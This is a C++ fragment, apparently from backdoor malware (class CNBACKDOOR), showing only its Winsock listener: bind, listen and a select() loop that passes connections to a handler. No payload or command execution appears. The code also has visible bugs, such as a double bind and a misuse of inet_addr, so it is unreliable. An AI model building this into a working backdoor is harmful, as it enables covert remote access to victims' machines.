// listen mode bool CNBACKDOOR::Listen() { WSAData wsadata; if (log_opt.UseLog) std::cout << "[*] Starting a listener on port " << log_opt.port << std::endl; if (log_opt.UseLog) std::cout << "[*] WSAStartup initializing..."; if (WSAStartup(MAKEWORD(2,2), &wsadata) != 0) { if (log_opt.UseLog) std::cout << " failed"; return false; } if (log_opt.UseLog) std::cout << " done" << std::endl << "[*] Creating socket..."; l_socket = socket(AF_INET, SOCK_STREAM, 0); if (l_socket == INVALID_SOCKET) { if (log_opt.UseLog) std::cout << " failed" << std::cout; WSACleanup(); return false; } if (log_opt.UseLog) std::cout << " done" << std::endl << "[*] Binding socket..."; l_sockaddr.sin_addr.s_addr = inet_addr(INADDR_ANY); l_sockaddr.sin_family = AF_INET; l_sockaddr.sin_port = htons(log_opt.port); bind(l_socket, (sockaddr*) &l_sockaddr, sizeof(SOCKADDR_IN)); l_sockaddr.sin_addr.s_addr = htonl(INADDR_ANY); if (bind(l_socket, (sockaddr*) &l_sockaddr, sizeof(SOCKADDR_IN)) == -1) { if (log_opt.UseLog) std::cout << " failed" << std::endl; WSACleanup(); return false; } if (log_opt.UseLog) std::cout << " done" << std::endl << "[*] Listening on socket " << l_socket << "..."; if(listen(l_socket, log_opt.max_users) == -1) { if (log_opt.UseLog) std::cout << " failed" << std::endl; WSACleanup(); return false; } if (log_opt.UseLog) std::cout << " done" << std::endl; sockaddr_in user_info; int l_sockaddr = sizeof(user_info); if (log_opt.UseLog) std::cout << "[*] Waiting for incoming connections on port " << log_opt.port << "..." << std::endl << std::endl; highest_sock = (int)l_socket; user_slots = new (std::nothrow) int[log_opt.max_users]; assert(user_slots); for (unsigned int x = 0; x < log_opt.max_users; x++) user_slots[x] = 0; chandle_connections = new CHandleConnections(&log_opt); while(!log_opt.ForceClosed) { timeval timeout; if (log_opt.timeout) { timeout.tv_sec = log_opt.timeout; timeout.tv_usec = 0; } FD_ZERO(&fd_socks); FD_SET(l_socket, &fd_socks); for (unsigned int id = 0; id < log_opt.max_users; id++) { if (user_slots[id] != 0) FD_SET(user_slots[id], &fd_socks); if (user_slots[id] > highest_sock) highest_sock = user_slots[id]; } int sel = select(highest_sock+1, &fd_socks, 0, 0, ((log_opt.timeout) ? &timeout : (timeval *)0)); if (sel < 0) { if (log_opt.UseLog) std::cout << "[-] Select returned error" << std::endl; return false; break; } else if ((sel == 0) && (log_opt.timeout)) { if (log_opt.UseLog) std::cout << "."; log_opt.TimeoutExpired = true; chandle_connections->KeepAlive(user_slots, &fd_socks, l_socket); } else { // theres something to read, handle it chandle_connections->HandleSockets(l_socket, user_slots, &fd_socks); } } // while (true) return true; }